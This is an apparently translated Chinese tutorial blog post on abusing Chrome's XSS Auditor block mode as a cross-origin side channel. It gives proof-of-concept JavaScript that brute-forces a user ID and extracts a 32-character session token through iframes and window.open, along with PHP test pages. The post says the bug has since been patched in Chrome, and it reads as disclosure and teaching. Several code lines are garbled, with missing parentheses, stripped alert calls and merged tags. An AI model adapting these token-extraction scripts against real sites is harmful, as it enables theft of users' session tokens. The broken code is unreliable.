北屋教程网

专注编程知识分享,从入门到精通的编程学习平台

利用Chrome XSS auditor盗取tokens

检测XSSAuditor

James向我指出,Chrome浏览器的XSS Auditor有一种block模式。所以我很好奇,也想看看这种运行机制是否存在某种漏洞。当网站http的信息头被设置成了“X-XSS-Protection:1;mode=block”,并且目标主机检测到了XSS攻击的时候,Chrome浏览器的XSSAuditor会将网页页面的所有内容全部移除。我认为,我可以利用这个机制,因为如果目标站点的网页包含有一个iframe框架,那么我就可以使用窗口 的长度属性来检测这个iframe框架是否被销毁了。在目前所有的现代浏览器之中,你都可以跨域使用contentWindow.length。详细信息请查看下列演示代码。

1

2

<iframeonload="(this.contentWindow.length)"src="http://somedomain/with_iframe">

</iframe>

所以,如果一个网站含有一个iframe框架,那么你就可以看到一个内容为0或1的警示窗口弹出来,其中1表示有,0则表示无。如果在一个页面中,含有不止一个的iframe框架,那么它将会在这个页面中弹出过的警示窗口。总的来说,这样的机制也就给我们提供了一个判断和检测XSSauditor的方法。

得到用户的ID

在利用的过程中,我的首要想法就是从一个内嵌于网站的脚本中读取用户的ID。通过注入伪造的XSS向量并且监测窗口的长度属性值,我们就可以知道XSS auditor是否处于活动状态了。注入一系列伪造的攻击向量会在用户检测相应属性值的过程中,使用户ID递增。目标页面的输出情况如下:

1

2

3

4

5

6

7

8

9

10

<?php

header("X-XSS-Protection: 1; mode=block");

?>

test

<iframe></iframe>

test

<script>

uid = 1337;

</script>

<div>x</div>

正如你所看到的那样,我们将XSS过滤器添加进了block模式中,网页页面包含一个iframe框架,并且脚本代码块包含一个用户ID。下面是伪造的攻击向量:

1

2

3

4

5

?fakevector=<script>%0auid = 1;%0a

?fakevector=<script>%0auid = 2;%0a

?fakevector=<script>%0auid = 3;%0a

?fakevector=<script>%0auid = 4;%0a

...

XSSauditor会忽略script标签中的内容,但是结束行是需要的,因为系统要用它来检测XSS。下面是一个用于提取uid的概念验证样例:

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<body>

<script>

!function{

var url = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = %s;%0a<\/script>',

amount = 9999, maxNumOfIframes = 1;

for(var i=0;i<maxNumOfIframes;i++) {

createIframe(i*amount,(i*amount)+amount,i);

}

function createIframe(min, max) {

var iframe = document.createElement('iframe'), div, p = document.createElement('p');

iframe.title = min;

iframe.onload = function {

if(!this.contentWindow.length){

p.innerText = 'uid='+this.title;

document.body.removeChild(this);

return false;

}

if(this.title > max) {

document.body.removeChild(this);

} else {

this.contentWindow.location = url.replace(/%s/,++this.title)+'&'+(+new Date);

}

p.innerText = 'Bruteforcing...'+this.title;

}

iframe.src = url.replace(/%s/,iframe.title);

document.body.appendChild(iframe);

document.body.appendChild(p);

}

};

</script>

</body>

上面这段代码创建了一个iframe框架(你可以创建一大堆的iframe框架,但是实验只是用一个iframe框架,因为这样运行速度更快),并使用了一个已经加载好的处理器来检测contentWindow.length的属性值,如果处理器检测到了返回的用户ID值,那么操作就成功了,否则它会尝试为iframe的布局位置设置一个新的值,直到返回用户ID为止。

使用窗口

如果一个网站有x-frame-options选项或者CSP策略,那么就可以防止网站被篡改,但我们仍然有可能使用新的窗口来检测XSSauditor。不幸的是,我们并不能在新窗口中使用页面的事件处理器,因为这种机制并不支持安全事件的跨域检测。然而,我们可以绕开这种机制,并使用“超时”或“时间间隔”来等待页面加载完成。具体代码如下:

0

11

12

13

14

15

16

17

18

19

20

21

22

23

<script>

function poc(id) {

if(!window.win) {

win = window.open('http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date),'');

} else {

win.location = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date);

}

timer=setInterval(function{

try {

win.document.documentElement;

} catch(e) {

if(win && !win.length) {

clearInterval(timer);

('uid='+id);

} else {

clearInterval(timer);

poc(++id);

}

}

},20);

}

</script>

<ahref="#"onclick="poc(1)">PoC</a>

代码的第一行会检测我们是否已经得到了一个窗口,如果没有的话,代码会创建一个新的窗口,并在全局变量中保存一个指向该窗口的引用。然后,我们使用一个20毫秒的时间间隔来重复地检查XSS检测是否激活,如果没有激活,代码还会再次调用这个函数。

盗取令牌

目前,这个技术表现的还算完美,但是实际上它并不是全能的,因为这种技术在数据方面仍然受到很大的限制。Eduardo Vela建议我使用表单的action和一个已存在的参数来绕过页面的过滤器。我创建了一个概念验证样例,并且成功地从表单的action中提取出了一个长度为32个字符的哈希值!

在你提取令牌之前,你需要为这个页面设置一个iframe框架,block模式,以及一个过滤参数。具体代码如下:

4

5

6

7

8

9

10

11

12

13

<?php

header("X-XSS-Protection: 1;mode=block");

session_start;

if(!isset($_SESSION['token'])) {

$token = md5(time);

$_SESSION['token'] = $token;

} else {

$token = $_SESSION['token'];

}

?>

<iframe></iframe>

<formaction="testurl.php?x=<?php echo htmlentities($_GET['x'])?>&token=<?phpecho $token?>"></form>

<?phpecho $token?>

其中的”x”参数可以用于绕过XSS过滤器,并可以让我们检测部分令牌。随着我们能够检测到的令牌部分越来越多,我们需要相应地减少padding值,并且 扫描令牌的下一个字符。但是XSSauditor会忽略一段复杂的0序列,这也就意味着我们所得到的字符串是不匹配的,而且我们也无法检测到0序列,因为它们都被忽略了。绕过这种机制的方法就是注入每一个除0之外的字符。这种方法十分的有效,在实验条件下,我从检测到的令牌中移除了两个字符,并使用两个0来进行填充。

下面是概念验证代码:

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

<body>

<divid="x"></div>

<script>

function poc{

var iframe = document.createElement('iframe'),

padding = '1234567891234567891234567891234567891234567891234567891234567891234567'.split(''),

token = "a".split(''),

tokenLen = 32, its = 0,

url = 'http://somedomain/chrome_xss_filter_bruteforce/form.php?x=%s&fakeparam=%3Cform%20action=%22testurl.php?x=%s2&token=%s3', last, repeated = 0;

iframe.src = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));

iframe.width = 700;

iframe.height = 500;

iframe.onload = function {

if(token.length === tokenLen+1) {

('The token is:'+token.slice(0,-1).join(''));

document.getElementById('x').innerText = document.getElementById('x').innerText.slice(0,-1);

return false;

}

if(this.contentWindow.length) {

getNextChar;

if(its > 20) {

token.pop;

token[token.length-1] = '0';

token.push("a");

its = 0;

repeated++;

}

if(repeated > 2) {

repeated = 0;

its = 0;

token.pop;

token.pop;

token[token.length-1] = '0';

token.push('0');

token.push('a');

}

this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));

its++;

} else {

repeated = 0;

its = 0;

token.push("a");

padding.pop;

this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));

}

document.getElementById('x').innerText = 'Token:'+token.join('');

}

document.body.appendChild(iframe);

function getNextChar {

chr = token[token.length-1];

if(chr === 'f' && last === 'f') {

token[token.length-1] = '1';

last = '1';

return false;

} else if(chr === '9' && last === '9') {

token[token.length-1] = 'a';

last = 'a';

return false;

}

if(chr >= 'a' && chr < 'f') {

token[token.length-1] = String.fromCharCode(chr.charCodeAt+1);

} else if(chr === 'f') {

token[token.length-1] = 'f';

} else if(chr >= '0' && chr < '9') {

token[token.length-1] = String.fromCharCode(chr.charCodeAt+1);

} else if(chr === '9') {

token[token.length-1] = '9';

}

last = chr;

}

}

poc;

</script>

</body>

首先,padding值会被注入至真实的参数之中,同时也会通过表单action中的url参数来注入至我们伪造的参数之中。现在,我们可以对令牌中的字符 进行单独的检测了。如果在它对令牌字符进行迭代检测的过程中,超过20个字符之后就无法再检测到别的字符了,这也就意味着其他的字符都是0。如果这整个过程重复进行了两次,那么我们就会得到两个0。

最终的概念验证视频可以点击这里获取。这个漏洞已经再最新版本的Chrome浏览器中得到了修复,而且这个概念验证实例也不再有效了。

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言